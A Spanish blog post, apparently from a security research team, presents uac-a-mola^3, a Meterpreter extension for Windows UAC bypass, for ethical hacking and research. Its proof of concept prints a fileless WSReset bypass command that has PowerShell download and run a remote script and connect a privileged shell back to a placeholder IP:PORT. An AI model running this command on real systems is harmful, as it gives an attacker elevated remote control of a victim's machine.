UAC-a-mola^3: Evolucionando hacia el Meterpreter #pentest #pentesting
En la pasada RootedCON de Valencia, mi compañero Pablo González volvió a sacar uac-a-mola a pasear, el proyecto que empezó en el 2017 en nuestro equipo de Ideas Locas, y que en está ocasión mostró varias formas de usar la herramienta.
En este artículo de hoy vengo a hablar de uac-a-mola^3, una versión ‘ligera’ para el Meterpreter de Python, cuyo código ya se encuentra disponible en el repositorio de Eleven Paths en GitHub, dentro de la carpeta uac-a-mola^3. Una herramienta que nosotros utilizamos en todos nuestros proyectos de Ethical Hacking.
Voy a contar cómo introducir los códigos en nuestra instalación de Metasploit, cómo funciona y finalmente una prueba de concepto. ¡Empecemos!
Cómo agregar el código al proyecto Metasploit
La extensión para el Meterpreter necesita varios ficheros de código, y cada uno se dirige a una carpeta distinta, dentro del GitHub se puede ver, además el código ya está distribuido siguiendo las necesidades, las rutas son las siguientes:
Cómo funciona uac-a-mola^3
Cuando nosotros recibimos una sesión del Meterpreter, tenemos que cargar el código de la extensión en memoria con el comando:
Un flujo que es bastante fácil de entender, ya que no va más allá de un cliente/servidor clásico utilizado en muchos de los sistemas de C&C.
Uac-a-mola^3 PoC
Llega la hora de probar la extensión, partimos de tener una sesión de Meterpreter activa, y pasamos a cargar la extensión y usar el comando de ayuda. Recuerda usar el autocompletado para ayudarte.
La primera prueba es ejecutar autoelevate_search, que recibirá una ruta, de la cuál devolverá un listado con el nombre de los binarios que tengan el atributo AutoElevate.
Por último, voy a mostrar una prueba de concepto que va a involucrar también a otra de nuestras herramientas, iBombShell. En esta ocasión, haré uso del bypass UAC de tipo fileless a través del binario WSReset, basta con ejecutar el comando con la instrucción que quieres que corra en el equipo víctima, en este ejemplo:
La prueba de concepto se puede ver en el siguiente vídeo que hemos grabado, que se entenderá mejor en solo un minuto y algo.
Como podéis ver, es una forma de usar uac-a-mola desde un equipo remoto, y facilitar así el hacer distintos bypass de UAC a través de Meterpreter. Eso es todo por hoy, pero os dejo aquí todas las referencias sobre UAC-A-Mola y UAC en Windows que ya hemos escrito bastante sobre este proyecto:
- [GitHub] UAC-a-mola
- [WhitePaper] UAC Bypass & Research with UAC-A-Mola
- [BlogPost] UAC: Control de Cuentas de Usuario en Windows
- [BlogPost] 2017, el año que bypasseamos UAC peligrosamente
- [BlogPost] UAC-A-Mola: Framework para Investigar Bypasses de UAC
- [BlogPost] UAC-A-Mola ya lo infirió
- [BlogPost] Cómo construir un modulo para UAC-A-Mola Framework
- [BlogPost] Windows 10: ByPass de UAC en con WSREST en UAC-A-Mola
- [BlogPost] UAC-A-Mola^2 Evolution
- [BlogPost] BlackHat Arsenal Tools for Research: UAC-A-Mola
- [Libro] Máxima Seguridad en Windows
- [Libro] Pentesting con PowerShell
Autor: Josué Encinar García (@JosueEncinar), autor del blog BoomerNiX y Security Researcher en ElevenPaths y en el equipo de Ideas Locas de la unidad CDO de Telefónica.
Figura 1: UAC-a-mola^3: Evolucionando hacia el Meterpreter #pentest #pentesting |
En este artículo de hoy vengo a hablar de uac-a-mola^3, una versión ‘ligera’ para el Meterpreter de Python, cuyo código ya se encuentra disponible en el repositorio de Eleven Paths en GitHub, dentro de la carpeta uac-a-mola^3. Una herramienta que nosotros utilizamos en todos nuestros proyectos de Ethical Hacking.
Figura 2: Libro de Ethical Hacking de Pablo González |
Voy a contar cómo introducir los códigos en nuestra instalación de Metasploit, cómo funciona y finalmente una prueba de concepto. ¡Empecemos!
Cómo agregar el código al proyecto Metasploit
La extensión para el Meterpreter necesita varios ficheros de código, y cada uno se dirige a una carpeta distinta, dentro del GitHub se puede ver, además el código ya está distribuido siguiendo las necesidades, las rutas son las siguientes:
• El “despachador de comandos” se tiene que situar en la siguiente ruta:
/opt/metasploit-framework/embedded/framework/lib/rex/post/meterpreter/ui/console/command_dispatcher
• La extensión del meterpreter en la parte del atacante, se debe situar en la ruta:
/opt/metasploit-framework/embedded/framework/lib/rex/post/meterpreter/extensions
• Y por último el código de la extensión que se va a ejecutar en el objetivo:
/opt/metasploit-framework/embedded/lib/ruby/gems/2.5.0/gems/metasploit-payloads-1.3.70/data/meterpreter/Las rutas están basadas en una instalación de Metasploit V5 en Ubuntu, según futuras actualizaciones, las rutas pueden variar ligeramente. Por ejemplo la carpeta 2.5.0 puede pasar a ser 2.6.0, etcétera.
Cómo funciona uac-a-mola^3
Cuando nosotros recibimos una sesión del Meterpreter, tenemos que cargar el código de la extensión en memoria con el comando:
load uacamolaEn ese momento podremos iniciar la extensión con el comando:
start_uacamolaY ya se nos facilitará un nuevo prompt con el que trabajar. El flujo de los comandos será el siguiente: que describo. El código de la carpeta command_dispatcher recibe el comando a ejecutar por parte del usuario, y se lo pasa a la extensión de Ruby (carpeta extensions) que se encargará de encapsular el paquete y enviarlo a la extensión de Python, ya en la máquina víctima, donde se ejecutará, y cuyo resultado se empaquetará y será devuelto a la extensión de Ruby, de nuevo en la máquina del atacante (salvo los comandos help y exit que no saldrán de la máquina del atacante, al ser locales).
Figura 3: Gráfico a alto nivel de las partes de uac-a-mola^3 |
Un flujo que es bastante fácil de entender, ya que no va más allá de un cliente/servidor clásico utilizado en muchos de los sistemas de C&C.
Uac-a-mola^3 PoC
Llega la hora de probar la extensión, partimos de tener una sesión de Meterpreter activa, y pasamos a cargar la extensión y usar el comando de ayuda. Recuerda usar el autocompletado para ayudarte.
Figura 4: Carga de uacamola y ayuda |
La primera prueba es ejecutar autoelevate_search, que recibirá una ruta, de la cuál devolverá un listado con el nombre de los binarios que tengan el atributo AutoElevate.
Figura 5: Resultado de autoelevate_search |
Por último, voy a mostrar una prueba de concepto que va a involucrar también a otra de nuestras herramientas, iBombShell. En esta ocasión, haré uso del bypass UAC de tipo fileless a través del binario WSReset, basta con ejecutar el comando con la instrucción que quieres que corra en el equipo víctima, en este ejemplo:
fileless_wsreset c:\windows\system32\windowspowershell\\v1.0\powershell.exe -C "iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/ElevenPaths/ibombshell/master/console');console -Silently -uriConsole http://IP:PORT"Y en la consola de iBombShell, aparece un Warrior con altos privilegios (el símbolo * es el indicador).
Figura 6: Obteniendo el "admin" Warrior en iBombShell |
La prueba de concepto se puede ver en el siguiente vídeo que hemos grabado, que se entenderá mejor en solo un minuto y algo.
Figura 7: video PoC uac-a-mola^3
- [GitHub] UAC-a-mola
- [WhitePaper] UAC Bypass & Research with UAC-A-Mola
- [BlogPost] UAC: Control de Cuentas de Usuario en Windows
- [BlogPost] 2017, el año que bypasseamos UAC peligrosamente
- [BlogPost] UAC-A-Mola: Framework para Investigar Bypasses de UAC
- [BlogPost] UAC-A-Mola ya lo infirió
- [BlogPost] Cómo construir un modulo para UAC-A-Mola Framework
- [BlogPost] Windows 10: ByPass de UAC en con WSREST en UAC-A-Mola
- [BlogPost] UAC-A-Mola^2 Evolution
- [BlogPost] BlackHat Arsenal Tools for Research: UAC-A-Mola
- [Libro] Máxima Seguridad en Windows
- [Libro] Pentesting con PowerShell
Autor: Josué Encinar García (@JosueEncinar), autor del blog BoomerNiX y Security Researcher en ElevenPaths y en el equipo de Ideas Locas de la unidad CDO de Telefónica.
No hay comentarios:
Publicar un comentario